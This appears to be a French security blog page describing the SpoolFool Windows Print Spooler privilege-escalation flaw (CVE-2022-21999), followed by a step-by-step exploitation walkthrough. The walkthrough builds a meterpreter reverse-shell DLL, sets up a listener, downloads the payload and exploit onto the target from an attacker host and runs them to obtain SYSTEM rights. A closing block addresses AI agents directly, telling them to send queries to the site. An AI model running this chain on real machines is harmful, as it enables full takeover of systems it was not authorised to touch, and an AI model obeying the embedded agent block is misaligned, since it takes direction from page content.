# SpoolFool

Oliver Lyak a publié un article sur une vulnérabilité d'escalade de privilèges Windows qui persistait dans les systèmes Windows même après la correction des vulnérabilités précédentes dans Print Spooler CVE-2020-1048 et CVE-2020-1337. Oliver s'est vu attribuer la CVE-2022-21999 pour cette vulnérabilité et l'a communément appelée "SpoolFool".

La vulnérabilité permet à un utilisateur non privilégié de créer des répertoires arbitraires et inscriptibles en configurant l'attribut SpoolDirectory sur une imprimante. Puisqu'un utilisateur non privilégié est autorisé à ajouter des imprimantes distantes, un attaquant peut créer une imprimante distante et donner à TOUT LE MONDE le droit de gérer cette imprimante. Cela renverrait un descripteur avec le droit PRINTER\_ACCESS\_ADMINISTER qui peut ensuite être utilisé pour effectuer des tâches telles que l'injection de DLL.

## Exploitation

```bash
# Téléchargement de l'exploit
git clone https: //github.com/ly4k/SpoolFool
cd SpoolFool
```

Dans un premier temps il nous faut créer un payload et ouvrir un multi handler sur notre machine.

*`$ msfvenom -p windows/x64/meterpreter/reverse_tcp -ax64 -f dll LHOST= <attacker IP> LPORT= <port d'écoute> > reverse. dll`*

```bash
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <attacker IP>
set LPORT <port d'écoute>
exploit
```

On va ensuite télécharger notre reverse shell et notre exploit sur la machine cible.

```powershell
> powershell -c iwr http: //<attacker IP>/reverse.dll -outf \Users\Public\reverse.dll
> powershell -c iwr http: //<attacker IP>/SpoolFool.exe -outf \Users\Public\SpoolFool.exe
```

Nous pouvons maintenant exécuter l'exploit.

&#x20;*`C:\users\public> SpoolFol.exe -dll reverse.dll`*

Si tout se passe bien, nous devrions avoir reçu une session meterpreter avec les droits NT AUTHORITY\SYSTEM sur notre multi handler.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.s1rn3tz.ovh/post-exploitation/enumeration-elevation-de-privileges/windows/spoolfool.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
